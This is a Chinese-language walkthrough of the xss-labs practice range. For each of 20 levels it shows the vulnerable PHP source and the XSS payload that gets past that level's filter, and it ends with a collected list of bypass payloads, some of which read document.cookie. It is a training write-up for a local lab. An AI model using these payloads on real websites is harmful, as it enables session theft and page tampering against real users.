xss-labs




下载安装

下载地址

链接:https://github.com/do0dl3/xss-labs

安装

直接把他放在phpstudy的WWW目录中。(phpstudy的下载安装,可以自行百度一下)

打开

访问地址:127.0.0.1/xss-labs

问题

这里可能会遇到一个问题,burpsuite会抓不到包。这时我们只需把127.0.0.1改为本机IPv4的地址。查看本机IPv的方法:打开cmd,输入ipconfig.这样就可以正常抓包了

接下来就可以打靶了。

第一关

直接注入


payload

/level1.php?name=<script>alert(1)</script>

第一关代码上面写了,没有任何过滤,直接写上

第二关

被转义了 闭合它

源码

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> //注入点 <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>

我们输入的数据被写入了value里,可以添加 "> 来闭合前面的

payload

"><script>alert(1)</script>

第三关

利用鼠标属性

先讲讲htmlspecialchars

使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

- & (和号)成为 &amp; - " (双引号)成为 &quot; - ' (单引号)成为 ' - < (小于)成为 &lt; - > (大于)成为 &gt;

添加鼠标点击,出现弹窗即可

payload

'onclick='alert(1)

然后网页的表单输入框的就会被添加 onclick属性,我们点击一下,输入框即可过关

第四关

稍微加了点过滤

和第三关差不多只是在第三关的基础上添加了对 尖括号的过滤

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); //新加的过滤 $str3=str_replace("<","",$str2); //新加的过滤 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>

payload

" onclick="alert(1)

第五关

绕过元素

第五关过滤了 on 和 <script,但是我们可以用其他payload

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); echo $str2; $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>

payload

javascript:alert(1) 使用了java伪协议,感兴趣的可以百度查查,就是把javascript: :后面的代码当JavaScript来执行

"><iframe src="javascript:alert(1)"></iframe> "><a href="javascript:alert(1)">

第六关

过滤大小写

过滤的更多,但是大小写可以绕过的

代码

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>

payload

"><a HrEf="javascript:alert(1)"> "><iframe sRc="javascript:alert(1)"></iframe>

第七关

双写绕过

这次学聪明了,把我们输入的强制改成了小写,但是过滤不严谨,我们可以双写绕过

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); //全变小写 $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>

没有循环过滤 把大小写屏蔽了

payload

"><scscriptript>alert(1)</sscriptcript>

第八关

html字符实体绕过

这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞)

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><br> <a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>

HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn)

添加友情链接

用转换器转化

payload

写完点一下链接即可

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

看有无http://

这一关不看源码基本想不到,输入必须有http:// 才行,典型白名单

payload

就在上一关的基础上,加上 //http:// ,两次// 都是必须要写的

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

第十关

hidden

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>

这一关必须看浏览器代码!!!你会发现输入框被hidden了,没事我们让它再显示出来就行

被隐藏了,我们把type改成 text即可

payload

注意哦,参数改了

?t_sort=" type="text" onclick="alert('xss')

第十一关

referer头注入

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER'];//refer也成了输出参数,我们从这个下手 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>

我们看浏览器的传过来的源码会发现

input name="t_ref" value="http://127.0.0.1/xss-labs-master/level10.php?t_sort=%22%20type=%22text%22%20onclick=%22alert(%27xss%27)" type="hidden">

所以referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里

" type="text" onmousemove="alert(1)


第十二关

User-Agent头

写User-Agent头和十一关同理

" type="text" onmousemove="alert(1)

第十三关

写Cookie头

写User-Agent头和十一关同理

" type="text" onmousemove="alert(1)

第十四关

exif xss

这一关比较特殊,payload是一张图片马,考到了CTF中的杂项中隐写Exif隐藏信息,就不展开讲了,感兴趣的可以去百度搜搜

首先什么是exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。

代码

<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center> </body> </html>

payload

第十五关

ng-include

源码

<html ng-app> <head> <meta charset="utf-8"> <script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>

文件包含 AngularJS ng-include 指令 | 菜鸟教程 (runoob.com)

ng-include指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

**payload ** 我们包含第一关的漏洞即可

http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

第十六关

绕过空格

直接把空格过滤了

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>

1、“0D”是把光标移到同一行的顶头——回车(CR)。

2、“0A”是把光标移到下一行——换行(LF)。

使用替身,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。

http://127.0.0.1/xss-labs-master/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>

第十七关

embed 标签 拼接绕过

从这一关开始后面所有关卡,都调用外部xsf01.swf文件了,慢慢开始和逆向有关了,大伙学到这本靶场的xss知识点就差不多get完了,后面有能力的可以看看

<embed>标签,是用来嵌入图片的。可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。

但是17 和18关我们可以用妙手来解,绕过加载的swf文件!!!!

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; //开始调用外部xsf01.swf文件了 ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>

payload

http://127.0.0.1/xss-labs-master/level17.php?arg01=a&arg02=aaa onmousemove='alert(1)'

特别注意,火狐浏览器有可能不兼容,我用谷歌和Microsoft Edge都行

第十八关

embed 标签 拼接绕过

和十七关同理

payload

http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=aaa onmousemove='alert(1)'

第十九关

flash xss

这关是flash xss,涉及到反编译,能力有限,直接上逆向后的payload
有人可能会问为啥这里不能用前面两关的方法了?因为源码把上面漏洞闭合了,加了一对双引号,绕不出去了(作者故意的)

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level20.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level19</title> </head> <body> <h1 align=center>欢迎来到level19</h1> <?php ini_set("display_errors", 0); echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; //作者把这个写死了,之前的方法绕不过了 ?> </body> </html>

payload

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

第二十关

反编译

能力之外啦,以后学有所成再来补档!

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)

XSS原理

  • 先讲讲什么是跨站脚本攻击XSS(Cross Site Scripting)

  • 本质上是针对html的一种注入攻击,没有遵循数据与代码分离的原则,把用户输入的数据当作代码来执行
    xss跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码(包括当不限于js,flash等等),当用户浏览该页面时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的目的。为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,所以将跨站脚本攻击缩写为XSS。

过关机制

首先我们先简单了解一下,过关的机制,拿第一关level1.php源码举例子
代码如下(懂代码的不一定是搞安全的,搞安全的一定是懂代码的)

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() <!--当有弹窗出现时,执行以下代码 --> { confirm("完成的不错!"); <!--confirm()方法用于显示一个带有指定消息和确定及取消按钮的对话框。我们xss一般验证就是爆一个弹窗出来--> window.location.href="level2.php?keyword=test"; <!-- 然后跳转到第二关,后续关卡基本相同以此类推即可 --> } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); //不显示错误报告 $str = $_GET["name"]; //获取参数传入 echo "<h2 align=center>欢迎用户".$str."</h2>"; //用户输入什么就输出什么 ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>

过关就一点,让浏览器蹦出弹窗即可进入下一关。但是注意!初学者不要F12自己改前端的代码,自己蹦弹窗,这是起不到训练的目的的。

个人总结的一些payload

  • 理论上来讲xss漏洞是可以彻底解决的,但是市面上还是 有不少的,以后再和大家分享我的挖洞经历吧!
    下面的payload不同场合适当加上 "> 来闭合页面的包含。还有一些payload,我复现没成功就不列举了(有些过时了被修复了)

<script>alert(document.cookie)</script> <script>prompt(document.cookie)</script> <script>confirm(/xss/)</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等 <script>alert/*dsa*/(1)</script> //绕过黑名单 <script>(alert)(1)</script> //绕过黑名单 <svg/onload=alert(1)> <body onload=alert("XSS")> <svg onload="alert(1)"> //过滤 script时 "><svg/onload=alert(1)// <input value="1" autofocus onfocus=alert(1) x=""> //过滤 script时 <a href="" onclick="alert(1111)"> <iframe src="javascript:alert(1)"></iframe> //过滤 script时 <svg onmousemove="alert(1)"> <input name="name" value=”” onmousemove=prompt(document.cookie) > <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> <input type = "button" value ="clickme" onclick="alert('click me')" /> <BODY onload="alert('XSS')"> <IMG SRC="" onerror="alert('XSS')"> <IMG SRC="" onerror="javascript:alert('XSS');"> 制表符 绕过滤器的 <IMG SRC="" onerror="javšscript:alert('XSS');"> 1.<iframe src=javas cript:alert(1)></iframe> //Tab 2.<iframe src=javas cript:alert(1)></iframe> //回车 3.<iframe src=javas cript:alert(1)></iframe> //换行 4.<iframe src=javascript:alert(1)></iframe> //编码冒号 5.<iframe src=javasc ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持 <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a> <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object> "><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))"> <script>onerror=alert;throw document.cookie</script> <script>{onerror=alert}throw 1337</script> //过滤 单引号,双引号,小括号时 没过滤script <a href="" onclick="alert(1111)"> ' οnclick=alert(1111) '

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。